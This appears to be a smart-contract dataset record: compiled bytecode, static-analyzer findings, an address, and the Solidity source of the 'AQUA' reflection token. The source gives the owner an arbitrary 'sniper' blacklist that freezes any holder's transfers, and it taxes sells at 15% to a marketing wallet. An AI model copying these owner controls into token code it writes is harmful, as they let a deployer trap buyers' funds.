26002602090815260408083209386168352929052205415155b1561093457610000565b600160a060020a03338116600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b5050565b60145460009060ff16156109a957610000565b3415156109b557610000565b6109bd610dd0565b806109cb57506109cb61089e565b5b15156109d757610000565b6109df610d2f565b600160a060020a038316600090815260066020526040902054610a08903463ffffffff6110c016565b1115610a1357610000565b610a2b610a1e610e20565b349063ffffffff6110dd16565b9050600e54610a45826011546110c090919063ffffffff16565b1115610a5057610000565b600160a060020a038216600090815260016020526040902054610a79908263ffffffff6110c016565b600160a060020a03831660009081526001602052604081209190915554610aa6908263ffffffff6110c016565b600055601254610abc903463ffffffff6110c016565b601255600160a060020a038216600090815260066020526040902054610ae8903463ffffffff6110c016565b600160a060020a038316600090815260066020526040902055601154610b14908263ffffffff6110c016565b6011819055600e541415610b3657600854431015610b3157436008555b43600d555b600354604051600160a060020a03909116903480156108fc02916000818181858888f193505050501515610b6957610000565b81600160a060020a031630600160a060020a03166000805160206114fb833981519152836040518082815260200191505060405180910390a35b5b5050565b60095481565b60055433600160a060020a03908116911614610bc957610000565b6005805460048054600160a060020a0319908116600160a060020a038416179091551690555b565b6000813b81811115610c065760019150610c0b565b600091505b5b50919050565b60005481565b60115481565b601354600d54610c339163ffffffff6110c016565b4311610c3e57610000565b610c4983838361110c565b5b5b505050565b601281565b600454600160a060020a031681565b60045460009033600160a060020a03908116911614610c8257610000565b600160a060020a033316600090815260016020526040902054610cab908363ffffffff61120616565b600160a060020a03331660009081526001602052604081209190915554610cd8908363ffffffff61120616565b600090815560408051848152905133600160a060020a0316916000805160206114fb833981519152919081900360200190a35060015b5b919050565b600e5481565b60125481565b600354600160a060020a031681565b601254600090683635c9adc5dea0000090610d6290610d5590606463ffffffff61122016565b829063ffffffff6110c016565b91505b5090565b60075481565b600a5481565b600f5481565b60045433600160a060020a03908116911614610d9657610000565b6014805460ff191660011790556040517fa8d1ea886eaf8bd3d113c770bf7af546123c70e235b0d036ff752d5e920a7b5690600090a15b5b565b600060075443101580156108b457506008544311155b90505b90565b600b5481565b600554600160a060020a031681565b600160a060020a0381166000908152600160205260409020545b919050565b60006007544310158015610e3657506008544311155b15610e4457506122b86108b7565b6009544310158015610e585750600a544311155b15610e665750611f406108b7565b600a5443118015610e795750600b544311155b15610e875750611d4c6108b7565b600b5443118015610e9a5750600c544311155b156108b75750611b586108b7565b5b90565b60085481565b60045433600160a060020a03908116911614610ecd57610000565b60058054600160a060020a031916600160a060020a0383161790555b5b50565b600c5481565b6011545b90565b60408051808201909152600381527f4f50540000000000000000000000000000000000000000000000000000000000602082015281565b601354600d54610f469163ffffffff6110c016565b4311610f5157610000565b610992828261123a565b5b5b5050565b60145460ff1681565b6000610f83601354600d546110c090919063ffffffff16565b4311610f8e57610000565b610f99848484611279565b90505b5b9392505050565b610000565b50505050565b60135481565b60045433600160a060020a03908116911614610fd057610000565b6014805460ff191690556040517f6426a220e8910820230d4f2e29cc2bee7c13058ff2524cbcc4d823ba49aa2f6690600090a15b5b565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b6012545b90565b60045433600160a060020a0390811691161461105657610000565b60058054600160a060020a03191690555b5b565b60045433600160a060020a0390811691161461108557610000565b600160a060020a038116151561109a57610000565b60038054600160a060020a031916600160a060020a0383161790555b5b50565b60105481565b6000828201838110156110d257610000565b8091505b5092915050565b60008282028315806110f6575082848281156100005704145b15156110d257610000565b8091505b5092915050565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152902054611150908363ffffffff6110c016565b600160a060020a038085166000908152600160205260408082209390935590861681522054611185908363ffffffff61120616565b600160a060020a0385166000908152600160205260409020556111ae818363ffffffff61120616565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391926000805160206114fb833981519152929181900390910190a35b50505050565b60008282111561121557610000565b508082035b92915050565b6000600082848115610000570490508091505b5092915050565b60408051602081019091526000815261125283610bf1565b15611267576112628383836112b0565b610c49565b610c49838383611450565b5b5b505050565b600061128484610bf1565b15611299576112948484846112b0565b6112a4565b6112a4848484611450565b5b5060015b9392505050565b600160a060020a0333166000908152600160205260408120546112d9908463ffffffff61120616565b600160a060020a03338116600090815260016020526040808220939093559086168152205461130e908463ffffffff6110c016565b600160a060020a0380861660008181526001602090815260409182902094909455517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523392831660048201908152602482018890526060604483019081528751606484015287518a9750939563c0ee0b8a95948a948a9493926084909101919085019080838382156113bd575b8051825260208311156113bd57601f19909201916020918201910161139d565b505050905090810190601f1680156113e95780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b156100005760325a03f1156100005750505083600160a060020a031633600160a060020a03166000805160206114fb833981519152856040518082815260200191505060405180910390a35b50505050565b600160a060020a033316600090815260016020526040902054611479908363ffffffff61120616565b600160a060020a0333811660009081526001602052604080822093909355908516815220546114ae908363ffffffff6110c016565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316926000805160206114fb83398151915292918290030190a35b5050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820be2438a2c5e28c2f291e5de0431c85e1051363d4bbf7da1f0b10f176e5d9be650029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,210 |
0xbE56Eb68cBda322BB5d28774B9E1aC61231C8e77
|
// ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⠤⠤⢤⠤⢀⠀⢀⠀⣀⠔⠄⠀⠐⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⡀⠄⢀⣿⡟⡀⠀⠠⣭⠕⠀⠀⠀⠈⠱⣿⣶⣷⡅⠀⢁⠀⠁
// ⠀⠀⠀⡀⠀⠂⠁⣀⣀⣾⣿⣥⣤⡴⣿⡏⢠⢆⠀⠀⢀⠀⠙⠟⡻⠃⠀⢸⡡⠀
// ⠀⡀⠈⠀⠀⠀⣠⡶⠛⢻⠛⣿⢺⣁⢁⢇⢸⠀⠆⠄⠈⣄⢤⣷⠁⠄⠠⠾⢋⠂
// ⠀⠀⠀⠀⣠⣾⠏⠀⠀⡄⠀⢸⠡⠻⠂⠀⠂⢘⣾⡜⡄⢇⠠⢺⡄⠈⠂⠈⠀⠀
// ⠁⡀⠀⠈⠉⣱⢄⡀⠀⠃⠀⠈⠀⠈⠀⠀⠀⠠⠌⠁⡿⠪⢔⢿⣿⣄⠑⠓⠀⠀
// ⠀⠈⠢⡀⣼⠳⠟⡛⠂⠴⢀⢠⣄⠀⠀⠐⠀⠀⡈⠐⡅⠆⡈⠀⠙⠿⠡⠦⠔⠀
// ⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⢸⡆⡿⠷⣀⠐⠀⣸⠄⣰⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠐⠐⢄⢠⣾⣍⡄⠀⠉⠛⠋⠩⠞⠛⣃⣽⡀⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⠀⢼⣮⣹⣿⣏⣷⠟⠿⣽⣯⣶⡟⠉⠈⡇⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣬⣽⣿⢰⡶⣿⣿⢹⣾⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣉⠉⡛⠟⣮⣤⣿⣿⠀⠀⣬⠈⢂⠀⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⢀⣾⢞⡿⠿⠿⠇⠀⢿⣼⣿⣿⣿⡿⠒⠖⡈⢆⠈⠄⠀⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⡼⠡⠀⢷⣶⣤⡄⠀⠀⠙⣻⣿⣟⢁⣠⡴⠔⠈⡆⠈⠄⠀⠀⠀⠀
// ⠀⠀⠀⠀⠀⠀⠃⠸⠴⠿⣿⣇⣰⣶⣤⣀⣁⡀⠙⠯⠪⠦⠀⠒⠒⠀⠀⠀⠀⠀
//
//
// Telegram: https://t.me/aquafinanceportal
// Website: https://aquafinance.io
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AQUA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Liquid Finance";
string private constant _symbol = "AQUA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD9B638f1aaC77b13110Fce069D8a4BE9718Df6E7);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount);
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= _maxTxAmount);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101e75760003560e01c80636fc3eaec116101025780638da5cb5b11610095578063c552849011610064578063c552849014610599578063dd62ed3e146105b9578063ea1644d5146105ff578063f2fde38b1461061f57600080fd5b80638da5cb5b146105185780638f9a55c01461053657806395d89b411461054c578063a9059cbb1461057957600080fd5b8063790ca413116100d1578063790ca413146104b75780637c519ffb146104cd5780637d1db4a5146104e2578063881dce60146104f857600080fd5b80636fc3eaec1461044d57806370a0823114610462578063715018a61461048257806374010ece1461049757600080fd5b80632fd689e31161017a57806349bd5a5e1161014957806349bd5a5e146103cd5780634bf2c7c9146103ed5780635d098b381461040d5780636d8aa8f81461042d57600080fd5b80632fd689e31461035b578063313ce5671461037157806333251a0b1461038d57806338eea22d146103ad57600080fd5b806318160ddd116101b657806318160ddd146102dd57806323b872dd1461030357806327c8f8351461032357806328bb665a1461033957600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630f3a325f1461026c5780631694505e146102a557600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5060408051808201909152600e81526d4c69717569642046696e616e636560901b60208201525b6040516102339190611b24565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611b9e565b61063f565b6040519015158152602001610233565b34801561027857600080fd5b5061025c610287366004611bca565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b157600080fd5b506016546102c5906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102e957600080fd5b50683635c9adc5dea000005b604051908152602001610233565b34801561030f57600080fd5b5061025c61031e366004611be7565b610656565b34801561032f57600080fd5b506102c561dead81565b34801561034557600080fd5b50610359610354366004611c3e565b6106bf565b005b34801561036757600080fd5b506102f5601a5481565b34801561037d57600080fd5b5060405160098152602001610233565b34801561039957600080fd5b506103596103a8366004611bca565b61075e565b3480156103b957600080fd5b506103596103c8366004611d03565b6107cd565b3480156103d957600080fd5b506017546102c5906001600160a01b031681565b3480156103f957600080fd5b50610359610408366004611d25565b61081e565b34801561041957600080fd5b50610359610428366004611bca565b61084d565b34801561043957600080fd5b50610359610448366004611d3e565b6108a7565b34801561045957600080fd5b506103596108ef565b34801561046e57600080fd5b506102f561047d366004611bca565b610919565b34801561048e57600080fd5b5061035961093b565b3480156104a357600080fd5b506103596104b2366004611d25565b6109af565b3480156104c357600080fd5b506102f5600a5481565b3480156104d957600080fd5b506103596109ed565b3480156104ee57600080fd5b506102f560185481565b34801561050457600080fd5b50610359610513366004611d25565b610a47565b34801561052457600080fd5b506000546001600160a01b03166102c5565b34801561054257600080fd5b506102f560195481565b34801561055857600080fd5b506040805180820190915260048152634151554160e01b6020820152610226565b34801561058557600080fd5b5061025c610594366004611b9e565b610ac3565b3480156105a557600080fd5b506103596105b4366004611d03565b610ad0565b3480156105c557600080fd5b506102f56105d4366004611d60565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561060b57600080fd5b5061035961061a366004611d25565b610b21565b34801561062b57600080fd5b5061035961063a366004611bca565b610b5f565b600061064c338484610c49565b5060015b92915050565b6000610663848484610d6d565b6106b584336106b085604051806060016040528060288152602001611f3b602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906113d6565b610c49565b5060019392505050565b6000546001600160a01b031633146106f25760405162461bcd60e51b81526004016106e990611d99565b60405180910390fd5b60005b815181101561075a5760016009600084848151811061071657610716611dce565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075281611dfa565b9150506106f5565b5050565b6000546001600160a01b031633146107885760405162461bcd60e51b81526004016106e990611d99565b6001600160a01b03811660009081526009602052604090205460ff16156107ca576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107f75760405162461bcd60e51b81526004016106e990611d99565b600182111561080557600080fd5b600181111561081357600080fd5b600b91909155600d55565b6000546001600160a01b031633146108485760405162461bcd60e51b81526004016106e990611d99565b601155565b6015546001600160a01b0316336001600160a01b03161461086d57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016106e990611d99565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461090f57600080fd5b476107ca81611410565b6001600160a01b0381166000908152600260205260408120546106509061144a565b6000546001600160a01b031633146109655760405162461bcd60e51b81526004016106e990611d99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d95760405162461bcd60e51b81526004016106e990611d99565b6018548110156109e857600080fd5b601855565b6000546001600160a01b03163314610a175760405162461bcd60e51b81526004016106e990611d99565b601754600160a01b900460ff1615610a2e57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a6757600080fd5b610a7030610919565b8111158015610a7f5750600081115b610aba5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106e9565b6107ca816114ce565b600061064c338484610d6d565b6000546001600160a01b03163314610afa5760405162461bcd60e51b81526004016106e990611d99565b600d821115610b0857600080fd5b600d811115610b1657600080fd5b600c91909155600e55565b6000546001600160a01b03163314610b4b5760405162461bcd60e51b81526004016106e990611d99565b601954811015610b5a57600080fd5b601955565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016106e990611d99565b6001600160a01b038116610bee5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e9565b6001600160a01b038216610d0c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e9565b6001600160a01b038216610e335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e9565b60008111610e955760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e9565b6001600160a01b03821660009081526009602052604090205460ff1615610ece5760405162461bcd60e51b81526004016106e990611e15565b6001600160a01b03831660009081526009602052604090205460ff1615610f075760405162461bcd60e51b81526004016106e990611e15565b3360009081526009602052604090205460ff1615610f375760405162461bcd60e51b81526004016106e990611e15565b6000546001600160a01b03848116911614801590610f6357506000546001600160a01b03838116911614155b1561128057601754600160a01b900460ff16610fc15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106e9565b6017546001600160a01b038381169116148015610fec57506016546001600160a01b03848116911614155b1561105b576001600160a01b038216301480159061101357506001600160a01b0383163014155b801561102d57506015546001600160a01b03838116911614155b801561104757506015546001600160a01b03848116911614155b1561105b5760185481111561105b57600080fd5b6017546001600160a01b0383811691161480159061108757506015546001600160a01b03838116911614155b801561109c57506001600160a01b0382163014155b80156110b357506001600160a01b03821661dead14155b1561117a5760185481111561110a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e9565b6019548161111784610919565b6111219190611e3c565b1061117a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e9565b600061118530610919565b601a5490915081118080156111a45750601754600160a81b900460ff16155b80156111be57506017546001600160a01b03868116911614155b80156111d35750601754600160b01b900460ff165b80156111f857506001600160a01b0385166000908152600660205260409